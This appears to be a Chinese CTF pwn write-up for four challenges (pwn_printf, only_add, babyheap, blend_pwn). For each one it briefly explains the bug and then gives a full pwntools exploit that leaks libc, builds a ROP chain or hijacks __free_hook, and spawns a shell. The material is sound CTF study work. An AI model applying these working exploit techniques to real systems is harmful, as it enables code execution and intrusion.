PWN

pwn_printf

首先输入0x10个size(0x20),即可实现栈溢出。然后就是简单的rop和getshell,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = process("./pwn_printf")
libc = ELF("./pwn_printf").libc
p.recvuntil("You will find this game very interesting\n")
#gdb.attach(p,'b *0x4007DF')
for i in range(16):
p.sendline(str(0x20))
puts_plt = 0x400640
puts_got = 0x603018
pop_rdi = 0x0000000000401213
p.send(p64(0x603500)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4007DF))
libc_base = u64(p.recv(6)+'\x00\x00') - libc.sym['puts']
print hex(libc_base)
#p.send("a"*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4007C6))
p.sendline("a"*0x8+p64(pop_rdi)+p64(libc_base+libc.search("/bin/sh").next())+p64(libc_base+libc.sym['system']))
p.interactive()

only_add

只有add功能,但是用的是realloc函数,size为0时即为free。

另外输入的时候可以off by one,修改size位可在下次申请到的时候溢出该堆块。

首先构造出unsortbin,并且利用off by one漏洞溢出修改其fd为_IO_2_1_stdout_,然后继续改另一tcache堆块fd到这里。

注意这里可以用realloc将堆块分割避免放入原来的tcache中,利用该方法进行io_leak,得到libc地址。

接着用close(1)处的逻辑将堆块指针置0,然后再次进行realloc,劫持某一tcache的fd到__free_hook,并修改其为system即可getshell。

getshell后需要用sh >&2恢复回显。整个脚本的概率是1/256:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
context.timeout = 1
libc = ELF("./libc.so.6")
def exp():
p = process("./pwn",env ={"LD_PRELOAD":"./libc.so.6"})
def add(size,data):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(data)
def free():
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(0))
def close_io():
p.recvuntil("choice:")
p.sendline("2")
def add2(size,data):
p.send("0000000000000001")
sleep(1)
p.sendline(str(size))
sleep(1)
p.send(data)
sleep(2)
def free2():
p.sendline("1")
sleep(1)
p.sendline('0')
sleep(1)

add(0xb8,'a')
free()
for i in range(3):
add(0x118,'a')
add(0x88,'a')
add(0x1d8,'a')
add(0x88,'a')
add(0x1f8,'a')
add(0x38,'a')
free()
add(0x1b8,'a')
add(0x48,'a')
free()
add(0x168,'a')
add(0x28,'a')
free()
add(0x138,'a')
add(0x88,'a')
free()
add(0x48,'\x00'*0x48+'\xc0')
free()
add(0x28,'a')
free()
add(0xb8,'\x00'*0x28+p64(0x101)+'\x60\xe7')
free()

add(0x38,'\x00'*0x38+'\xe0')
free()
add(0x48,'a')
free()
add(0xd8,'\x00'*0x48+p64(0x51)+'\x20\x79')
free()
add(0xb8,'a')
free()
add(0xb8,'a')
free()
add(0xb8,p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvuntil(p64(0xfbad1800)+p64(0)*3)
libc.address = u64(p.recv(8)) - 0x3EC700
print hex(libc.address)

if (libc.address&0xfff==0):
close_io()
add2(0x48,'\x00'*0x28+p64(0x141)+p64(libc.sym['__free_hook']-8))#0x555555757710
free2()
add2(0xf8,'a')
free2()
add2(0xf8,'/bin/sh\x00'+p64(libc.sym['system']))
#gdb.attach(p,'b realloc\n b free')
free2()
p.sendline("sh >&2")
p.sendline("cat flag")
p.interactive()

i = 0
while(1):
try:
i += 1
print i
exp()
except:
print 'fail'

babyheap

show和del函数未正确检查index。

首先用show(-7)leak出pie地址。

接着填满tcache,leak出libc地址和堆地址。

然后在堆上伪造出size为0x100的堆块,并用del函数进行free,然后劫持其fd指针修改为__free_hook,并改为system函数地址,执行/bin/sh即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
#context.timeout = 1
p = process("./babyheap",env ={"LD_PRELOAD":"./libc.so.6"})
libc = ELF("./libc.so.6")
def add():
p.recvuntil(">>")
p.sendline("1")
def show(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("index?")
p.sendline(str(idx))
def edit(idx,size,data):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("index?")
p.sendline(str(idx))
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Content:")
p.send(data)
def free(idx):
p.recvuntil(">>")
p.sendline("4")
p.recvuntil("index?")
p.sendline(str(idx))
show(-7)
p.recvline()
pie = u64(p.recv(6)+'\x00\x00')-0x202008
print hex(pie)
for i in range(8):
add()
for i in range(8):
free(7-i)
for i in range(8):
add()
edit(7,0x20,'a'*8)
show(7)
p.recvuntil("a"*8)
libc.address = u64(p.recv(6)+'\x00\x00')-0x3EBCA0
print hex(libc.address)
show(0)
p.recvline()
heap = u64(p.recv(6)+'\x00\x00')
print hex(heap)
edit(0,0x88,p64(heap-0xD0)*5+p64(0x101))
edit(1,0x88,p64(0)*5+p64(0x101))
free(( heap - 0xe0 - (pie+0x202040) )/8)
edit(0,0x88,p64(heap-0xD0)*5+p64(0x101)+p64(libc.sym['__free_hook']))
add()
add()
edit(9,9,p64(libc.sym['system']))
edit(2,8,'/bin/sh\x00')
free(2)
#gdb.attach(p,'b free')
p.interactive()

blend_pwn

这道是赛后才做出来的,前面是简单的用堆来进行leak操作,后面主要卡在c++的异常化处理上。

最后看了Lime师傅的脚本才知道最后输入的栈指针后需要跟上一个字符才能过。具体payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
p = process("./blend_pwn")
libc = ELF("./blend_pwn").libc
def add(data):
p.recvuntil("Enter your choice >")
p.sendline("2")
p.recvuntil("input note:")
p.sendline(data)
def free(idx):
p.recvuntil("Enter your choice >")
p.sendline("3")
p.recvuntil("index>")
p.sendline(str(idx))
def show():
p.recvuntil("Enter your choice >")
p.sendline("4")
def show_name():
p.recvuntil("Enter your choice >")
p.sendline("1")
def backdoor(data):
p.recvuntil("Enter your choice >")
p.sendline("666")
p.recvuntil("Please input what you want:")
p.send(data)
one = [0x45226,0x4527a,0xf0364,0xf1207]
p.recvuntil("Please enter a name: ")
p.sendline("%2$p")

show_name()
p.recvuntil("user:0x")
libc.address = int(p.recv(12),16)-0x6CF780+0x309000
print hex(libc.address)
addr = libc.address+0x3C6F38
add(p64(0)*3+p64(libc.address+one[0]))
print hex(addr)
add("111")
free(0)
free(1)
show()
p.recvuntil("index 2:")
heap = u64(p.recv(6)+'\x00\x00')
print hex(heap)
#gdb.attach(p,'b *$rebase(0x11B8)')
backdoor(p64(0)*4+p64(heap+0x20)+'a')
p.interactive()